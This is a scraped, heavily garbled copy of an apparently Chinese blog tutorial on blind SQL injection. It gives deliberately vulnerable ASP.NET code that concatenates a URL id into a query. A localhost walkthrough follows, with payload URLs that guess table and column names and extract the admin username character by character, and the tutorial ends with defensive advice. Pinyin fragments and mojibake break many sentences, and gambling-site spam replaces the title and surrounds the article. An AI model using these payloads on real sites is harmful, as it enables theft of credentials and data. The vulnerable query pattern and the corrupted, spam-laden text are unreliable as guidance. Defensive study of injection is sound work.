• 亿博平台官网

  • 亿博平台官网

  • 亿博平台官网

  • 亿博平台官网

亿博平台官网

作者(zhe)︰超期(qi)服役  發布日期(qi)︰2020-02-24 12:34:54
Tag標(biao)簽︰WEB  安全之(zhi)  SQL注入(ru)<一(yi)>    盲注  
  •     SQL注入(ru)是一(yi)個比較“古老(lao)”的話題,雖然現在存在這種漏洞的站點比較少了,我們還是有必要了解一(yi)下(xia)它的危害(hai),及其(qi)常(chang)用(yong)的手段(duan),知己知彼(bi)方能百戰不殆。進攻與(yu)防守相當于(yu)矛和(he)盾的關系(xi),我們如果能清楚了解

    攻擊的全過程,就(jiu)可以更好的預防類(lei)似情況(kuang)的出(chu)現。

     SQL注入(ru)原理   主要是攻擊者(zhe),利益(yi)被攻擊頁面的一(yi)些漏洞(通(tong)常(chang)都是程序員粗zhong)拇笠庠斐傻模  gai)變數據庫(ku)執行(xing)的SQL語句,從而達(da)到(dao)獲取(qu)“非(fei)授權信息”的na)康摹/p>

        下(xia)面自己搭建了實驗環境用(yong)于(yu)測試。  首先交待一(yi)下(xia),測試環境 開發語言為 Asp.net  ,數據庫(ku)使用(yong)的 MSQL ,測試頁面模擬了普通(tong)的新(xin)聞(wen)頁面,URL里接受參數 ?id=1  獲取(qu)文章ID,

    後台直(zhi)接通(tong)獲取(qu)的ID拼(pin)接查詢語句,沒有做敏感字符(fu)的過濾,從而為入(ru)侵(qin)者(zhe)留下(xia)了有機(ji)可剩的漏洞.下(xia)面是後台代碼(ma)︰

     public partial class NewsInfo : System.Web.UI.Page { protected NewsModel _news = new NewsModel(); protected void Page_Load(object sender, EventArgs e) {  var id = Request['id'];  var sqlStr = 'select * from news where id=' + id;  var sqlCon = SqlHelper.GetConnection();  try  {  var ds = SqlHelper.ExecuteDataset(sqlCon, CommandType.Text, sqlStr);  if (ds.Tables[0].Rows.Count <= 0) return;  _news.Title = ds.Tables[0].Rows[0]['title'].ToString();  _news.Text = ds.Tables[0].Rows[0]['text'].ToString();  _news.CreateTime = ((DateTime)ds.Tables[0].Rows[0]['createTime']).ToString('yyyy-MM-dd');  }  catch (Exception ex)  {  } } }

       一(yi)、過程重現

      

     1. 測試有沒有注入(ru)漏洞 

          瀏覽器輸入(ru) http://localhost:2003/newsInfo?id=1  and 1=1    頁面正常(chang)   後台執行(xing)的SQL語句為︰select * from news where id=1 and 1=1

      輸入(ru) http://localhost:2003/newsInfo?id=1  and 1=2  空白(bai)頁面,數據無法(fa)顯(xian)示(後台執行(xing)的SQL語句為︰select * from news where id=1 and 1=2),頁面有注入(ru)漏洞。

     

    2.  猜解數據庫(ku)表名

        既re)揮新(xin)┐矗 jiu)準備做點事情咯,主要目的是拿到(dao)後台管理員密碼(ma),先看看數據庫(ku)里有哪(na)些表吧

      http://localhost:2003/newsInfo?id=1 and (select count(*) from userInfo) >=0   沒有數據,繼(ji)續猜解...... N次(ci),

     終(zhong)于(yu) http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=0

     這里是利用(yong) 後面的條(tiao)件查詢數據庫(ku)表,如果表不存在,後台就(jiu)報(bao)錯了,本(ben)測試示例後台對(dui)異常(chang)做了處理,但是數據肯定是出(chu)不來的。

    數據顯(xian)示正常(chang),說de)ming)表 user 存在,判(pan)斷(duan) 為 用(yong)戶表

    3. 表字段(duan)猜解

    http://localhost:2003/newsInfo?id=1 and (select count(password) from [user]) >=0  ....... N次(ci)

    http://localhost:2003/newsInfo?id=1 and (select count(pwd) from [user]) >=0  頁面數據正常(chang)如下(xia)圖

    說de)user 存在 pwd 字段(duan)

    同(tong)理  確(que)認表 user 里存在  name 字段(duan)。

    4. 查詢表里有多少條(tiao)數據 

    http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=5 返回空白(bai)頁面

    http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=2 返回空白(bai)頁面

    http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) =1  頁面正常(chang)  ,只(zhi)有一(yi)個用(yong)戶。

    5. 用(yong)戶名猜解

       <A>  用(yong)戶名長度,

                 http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =3  ,返回空白(bai)頁面

                 http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =4 ,返回空白(bai)頁面

                 http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =5  ,返回正常(chang)頁面,確(que)定用(yong)戶名為5位字符(fu)

    <B>  用(yong)戶名猜解

             第一(yi)位    http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 20 ,返回正常(chang)頁面 ........... 

                         下(xia)面猜解 N次(ci)

             http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 96, 返回正常(chang)頁面

                          http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 97   返回空白(bai)頁面了

                           這說de)ming) 第一(yi)位 ASCII值(zhi)為 97,對(dui)應字母 a

              以此類(lei)推 ,第2位,第3位 .....第5位, 猜解出(chu)用(yong)戶名 admin ,在這里主要用(yong)了 ASCII  和(he) SUBSTRING 函數,如果對(dui)這兩個函數不熟悉請自行(xing)百度,下(xia)面是猜解過程tan)贗肌/p>

          

    用(yong)戶名猜解成功。

    6. 密碼(ma)猜解

        用(yong)戶名搞定了,密碼(ma)思路(lu)也(ye)是一(yi)樣

        <A> 先re)範 藶ma)長度

        <B> 逐個密碼(ma)猜解,這里就(jiu)不寫注入(ru)的sql語句了,同(tong) 用(yong)戶名 猜解

       至(zhi)此,整改(gai)網站管理後台淪陷。

    二(er)、防範方法(fa)

       1. 後台進行(xing)輸入(ru)驗證,對(dui)敏感字符(fu)過濾。(某情況(kuang)下(xia)不完全保(bao)險(xian),可能會有xin)┐艫拿 凶址fu),攻擊者(zhe)可以對(dui)關鍵字符(fu)轉義繞過過濾)

     2. 使用(yong)存儲過程(不靈活,太(tai)多存儲過程不huan)夢 ? 乇鶚僑綣媧 湯鍔婕暗dao)業務,對(dui)以後的維護簡直(zhi)是災(zai)難,出(chu)了問題也(ye)不huan)貌檎zhao))

       3. 使用(yong)參數化查詢,能避免拼(pin)接SQL,就(jiu)不要拼(pin)接SQL語句。(當然了,本(ben)示例只(zhi)要判(pan)斷(duan) 參數ID 是否為數字就(jiu)不會有題了)

鼎鼎彩票官网About IT165 -廣告服務 -隱私聲(sheng)明(ming) -版權申明(ming) -乐猫彩票官网免責條(tiao)款 -網站地(di)圖 -網友投(tou)稿 -聯系(xi)方式
本(ben)站內(na)容來自于(yu)互聯網,僅供用(yong)于(yu)網絡技術學習,學習中(zhong)請遵(zun)循相關法(fa)律法(fa)規
亿博平台官网 | 下一页